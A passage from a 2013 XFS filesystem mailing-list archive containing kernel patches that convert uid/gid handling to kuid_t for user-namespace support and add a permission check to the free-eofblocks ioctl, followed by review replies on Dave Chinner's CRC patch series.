xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *, long, long, uint); -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); +extern int xfs_qm_vop_dqalloc(struct xfs_inode *, xfs_dqid_t, xfs_dqid_t, + prid_t, uint, struct xfs_dquot **, struct xfs_dquot **, + struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *); extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); @@ -362,9 +363,9 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, - struct xfs_dquot **pdqp) +xfs_qm_vop_dqalloc(struct xfs_inode *ip, xfs_dqid_t uid, xfs_dqid_t gid, + prid_t prid, uint flags, struct xfs_dquot **udqp, + struct xfs_dquot **gdqp, struct xfs_dquot **pdqp) { *udqp = NULL; *gdqp = NULL; diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f4895b6..d39fcfd 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -386,8 +386,11 @@ xfs_symlink( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) goto std_return; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..ed8aa19 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -507,9 +507,11 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, - &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) return error; -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 695A27F67 for ; Thu, 25 Jul 2013 10:49:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DD839AC004 for ; Thu, 25 Jul 2013 08:49:32 -0700 (PDT) X-ASG-Debug-ID: 1374767371-04cb6c2e9c65910001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Rvp2dGTzaiu0smZK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:31 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnUVp007019 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:31 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnUIl013206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:30 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnUN5017275 for ; Thu, 25 Jul 2013 15:49:30 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:29 -0700 Date: Thu, 25 Jul 2013 11:49:42 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130725114942.673238a8@oracle.com> X-ASG-Orig-Subj: [PATCH v6 5/7] xfs: create internal eofblocks structure with kuid_t types Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374767371 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Have eofblocks ioctl convert uid_t to kuid_t into internal structure. Update internal filter matching to compare ids with kuid_t types. Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 12 ++++++------ fs/xfs/xfs_icache.h | 43 +++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_ioctl.c | 18 ++++++------------ 4 files changed, 56 insertions(+), 19 deletions(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index d046955..7eb4a5e 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { * Speculative preallocation trimming. */ #define XFS_EOFBLOCKS_VERSION 1 -struct xfs_eofblocks { +struct xfs_fs_eofblocks { __u32 eof_version; __u32 eof_flags; uid_t eof_uid; diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 3f90e1c..ed35584 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -619,7 +619,7 @@ restart: /* * Background scanning to trim post-EOF preallocated space. This is queued - * based on the 'background_prealloc_discard_period' tunable (5m by default). + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). */ STATIC void xfs_queue_eofblocks( @@ -1203,15 +1203,15 @@ xfs_inode_match_id( struct xfs_inode *ip, struct xfs_eofblocks *eofb) { - if (eofb->eof_flags & XFS_EOF_FLAGS_UID && - ip->i_d.di_uid != eofb->eof_uid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_UID) && + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_GID && - ip->i_d.di_gid != eofb->eof_gid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_GID) && + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && + if ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) && xfs_get_projid(ip) != eofb->eof_prid) return 0; diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index a01afbb..66a1a22 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -21,6 +21,14 @@ struct xfs_mount; struct xfs_perag; +struct xfs_eofblocks { + __u32 eof_flags; + kuid_t eof_uid; + kgid_t eof_gid; + prid_t eof_prid; + __u64 eof_min_file_size; +}; + #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ @@ -49,4 +57,39 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, int flags, void *args), int flags, void *args, int tag); +static inline int +xfs_fs_eofblocks_from_user( + struct xfs_fs_eofblocks *src, + struct xfs_eofblocks *dst) +{ + if (src->eof_version != XFS_EOFBLOCKS_VERSION) + return EINVAL; + + if (src->eof_flags & ~XFS_EOF_FLAGS_VALID) + return EINVAL; + + if (memchr_inv(&src->pad32, 0, sizeof(src->pad32)) || + memchr_inv(src->pad64, 0, sizeof(src->pad64))) + return EINVAL; + + dst->eof_flags = src->eof_flags; + dst->eof_prid = src->eof_prid; + dst->eof_min_file_size = src->eof_min_file_size; + + dst->eof_uid = INVALID_UID; + if (src->eof_flags & XFS_EOF_FLAGS_UID) { + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); + if (!uid_valid(dst->eof_uid)) + return EINVAL; + } + + dst->eof_gid = INVALID_GID; + if (src->eof_flags & XFS_EOF_FLAGS_GID) { + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); + if (!gid_valid(dst->eof_gid)) + return EINVAL; + } + return 0; +} + #endif diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8edc780..6e72eff 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1610,23 +1610,17 @@ xfs_file_ioctl( return -error; case XFS_IOC_FREE_EOFBLOCKS: { - struct xfs_eofblocks eofb; + struct xfs_fs_eofblocks eofb; + struct xfs_eofblocks keofb; if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); - if (eofb.eof_version != XFS_EOFBLOCKS_VERSION) - return -XFS_ERROR(EINVAL); - - if (eofb.eof_flags & ~XFS_EOF_FLAGS_VALID) - return -XFS_ERROR(EINVAL); - - if (memchr_inv(&eofb.pad32, 0, sizeof(eofb.pad32)) || - memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) - return -XFS_ERROR(EINVAL); + error = xfs_fs_eofblocks_from_user(&eofb, &keofb); + if (error) + return -error; - error = xfs_icache_free_eofblocks(mp, &eofb); - return -error; + return -xfs_icache_free_eofblocks(mp, &keofb); } default: -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 220E87F6D for ; Thu, 25 Jul 2013 10:49:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE3B28F8037 for ; Thu, 25 Jul 2013 08:49:37 -0700 (PDT) X-ASG-Debug-ID: 1374767376-04cb6c2e9c65930001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id BY066EQRSJFuUP3b (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:37 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnZRT014772 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:36 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnYuP017533 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:35 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnYXm020299 for ; Thu, 25 Jul 2013 15:49:34 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:34 -0700 Date: Thu, 25 Jul 2013 11:49:46 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130725114946.13c7e4ad@oracle.com> X-ASG-Orig-Subj: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374767377 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines We need to check that userspace callers can only truncate preallocated blocks from files they have write access to to prevent them from prematurley reclaiming blocks from another user. The internal reclaimer will not specify the internal XFS_KEOF_FLAGS_PERM_CHECK flag, but callers from userspace will have it forced on. Add check for read-only filesystem to free eofblocks ioctl. Signed-off-by: Dwight Engen --- fs/xfs/xfs_icache.c | 4 ++++ fs/xfs/xfs_icache.h | 7 ++++++- fs/xfs/xfs_ioctl.c | 3 +++ 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index ed35584..a80f38c 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( if (!xfs_inode_match_id(ip, eofb)) return 0; + if ((eofb->eof_flags & XFS_KEOF_FLAGS_PERM_CHECK) && + inode_permission(VFS_I(ip), MAY_WRITE)) + return 0; + /* skip the inode if the file size is too small */ if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && XFS_ISIZE(ip) < eofb->eof_min_file_size) diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index 66a1a22..0b52804 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -57,6 +57,11 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, int flags, void *args), int flags, void *args, int tag); +#define XFS_KEOF_FLAGS_PERM_CHECK (1 << 31) /* check can write inode */ +#if XFS_KEOF_FLAGS_PERM_CHECK & XFS_EOF_FLAGS_VALID +#error "Internal XFS_KEOF_FLAGS_PERM_CHECK duplicated bit from XFS_EOF_FLAGS_VALID" +#endif + static inline int xfs_fs_eofblocks_from_user( struct xfs_fs_eofblocks *src, @@ -72,7 +77,7 @@ xfs_fs_eofblocks_from_user( memchr_inv(src->pad64, 0, sizeof(src->pad64))) return EINVAL; - dst->eof_flags = src->eof_flags; + dst->eof_flags = src->eof_flags | XFS_KEOF_FLAGS_PERM_CHECK; dst->eof_prid = src->eof_prid; dst->eof_min_file_size = src->eof_min_file_size; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e72eff..8500507 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1613,6 +1613,9 @@ xfs_file_ioctl( struct xfs_fs_eofblocks eofb; struct xfs_eofblocks keofb; + if (IS_RDONLY(inode)) + return -XFS_ERROR(EROFS); + if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 972E27F37 for ; Thu, 25 Jul 2013 10:49:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26631AC002 for ; Thu, 25 Jul 2013 08:49:45 -0700 (PDT) X-ASG-Debug-ID: 1374767383-04cbb02c3e67bd0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GxoJGfiBco4bVDhG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:43 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFng73007277 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:43 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFne3q017761 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:42 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnd3f020503 for ; Thu, 25 Jul 2013 15:49:39 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:39 -0700 Date: Thu, 25 Jul 2013 11:49:51 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 7/7] enable building user namespace with xfs Message-ID: <20130725114951.55dac4c0@oracle.com> X-ASG-Orig-Subj: [PATCH v6 7/7] enable building user namespace with xfs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374767383 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- init/Kconfig | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/init/Kconfig b/init/Kconfig index 247084b..a380f12 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1106,7 +1106,6 @@ config IPC_NS config USER_NS bool "User namespace" - depends on UIDGID_CONVERTED select UIDGID_STRICT_TYPE_CHECKS default n @@ -1140,21 +1139,9 @@ config NET_NS endif # NAMESPACES -config UIDGID_CONVERTED - # True if all of the selected software conmponents are known - # to have uid_t and gid_t converted to kuid_t and kgid_t - # where appropriate and are otherwise safe to use with - # the user namespace. - bool - default y - - # Filesystems - depends on XFS_FS = n - config UIDGID_STRICT_TYPE_CHECKS bool "Require conversions between uid/gids and their internal representation" - depends on UIDGID_CONVERTED - default n + default y help While the nececessary conversions are being added to all subsystems this option allows the code to continue to build for unconverted subsystems. -- 1.8.1.4 From bpm@sgi.com Thu Jul 25 11:33:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 911FA7F37 for ; Thu, 25 Jul 2013 11:33:25 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 203BFAC004; Thu, 25 Jul 2013 09:33:21 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A79E94266DC; Thu, 25 Jul 2013 11:33:21 -0500 (CDT) Date: Thu, 25 Jul 2013 11:33:21 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 12/48] xfs: add CRC checking to dir2 leaf blocks Message-ID: <20130725163321.GY3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-13-git-send-email-david@fromorbit.com> <20130724230014.GU3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130724230014.GU3111@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 24, 2013 at 06:00:14PM -0500, Ben Myers wrote: > On Fri, Jun 07, 2013 at 10:25:35AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > This addition follows the same pattern as the dir2 block CRCs. > > Seeing as both LEAF1 and LEAFN types need to changed at the same > > time, this is a pretty large amount of change. leaf block headers > > need to be abstracted away from the on-disk structures (struct > > xfs_dir3_icleaf_hdr), as do the base leaf entry locations. > > > > This header abstract allows the in-core header and leaf entry > > location to be passed around instead of the leaf block itself. This > > saves a lot of converting individual variables from on-disk format > > to host format where they are used, so there's a good chance that > > the compiler will be able to produce much more optimal code as it's > > not having to byteswap variables all over the place. > > > > Signed-off-by: Dave Chinner > > Looks good. Note that xfs_dir3_leafn_read_verify and > xfs_dir3_leafn_write_verify are static in the kernel but not in userspace. > > Reviewed-by: Ben Myers corresponds to commit 24df33b45ecf5. From bpm@sgi.com Thu Jul 25 12:15:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 44A917F37 for ; Thu, 25 Jul 2013 12:15:13 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2BE9030405F; Thu, 25 Jul 2013 10:15:10 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E908F4266DC; Thu, 25 Jul 2013 12:15:09 -0500 (CDT) Date: Thu, 25 Jul 2013 12:15:09 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees Message-ID: <20130725171509.GZ3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-4-git-send-email-david@fromorbit.com> <20130723182648.GI3111@sgi.com> <20130725004821.GC11222@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130725004821.GC11222@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Thu, Jul 25, 2013 at 10:48:21AM +1000, Dave Chinner wrote: > On Tue, Jul 23, 2013 at 01:26:48PM -0500, Ben Myers wrote: > > On Fri, Jun 07, 2013 at 10:25:26AM +1000, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > Signed-off-by: Dave Chinner > > > > This patch mostly corresponds to commit ee1a47ab0e, and in some areas it is > > equivalent but slightly different. There are some other things in here too: > > > > * Addition of XFS_BUF_DADDR_NULL > > * rename of b_blkno to b_bn in struct xfs_buf > > * rename of b_fsprivate to b_fspriv in struct xfs_buf > > * addition of uuid_copy and uuid_equal, and libuuid to build > > > > It all looks fine to me, except as below: > > I think you'll find they are fixed up in later patches in the > series. > > Indeed, I think it's a little late to asking for these patches to be > changed, considering that making significant changes to these first > few patches will mean that I have to rebase a 100 or so subsequent > patches. You are mistaken... > For issues that aren't fixed in later patches, I'll add new patches > to the end of the current series to fix them. ...but I have no objection to taking this approach, so long as my concerns are addressed. -Ben From bpm@sgi.com Thu Jul 25 12:28:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86EB37F37 for ; Thu, 25 Jul 2013 12:28:50 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C298304062; Thu, 25 Jul 2013 10:28:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 088A94266DC; Thu, 25 Jul 2013 12:28:50 -0500 (CDT) Date: Thu, 25 Jul 2013 12:28:49 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 13/48] xfs: shortform directory offsets change for dir3 format Message-ID: <20130725172849.GA3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-14-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-14-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:36AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Because the header size for the CRC enabled directory blocks is > larger, the offset of the first entry into a directory block is > different to the dir2 format. The shortform directory stores the > dirent's offset so that it doesn't change when moving from shortform > to block form and back again, and hence it needs to take into > account the different header sizes to maintain the correct offsets. > > Signed-off-by: Dave Chinner corresponds to commit 6b2647a12a0 xfs_dir2_sf_getdents which is changed in the kernel commit doesn't exist in userspace. Looks good. Reviewed-by: Ben Myers From dave.kleikamp@oracle.com Thu Jul 25 12:52:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 22AC27F37 for ; Thu, 25 Jul 2013 12:52:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 120408F8035 for ; Thu, 25 Jul 2013 10:52:04 -0700 (PDT) X-ASG-Debug-ID: 1374774722-04cb6c2e9d71f40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id BWejbwcKk2SRNvLl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 10:52:02 -0700 (PDT) X-Barracuda-Envelope-From: dave.kleikamp@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PHpq57021807 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 17:51:53 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by 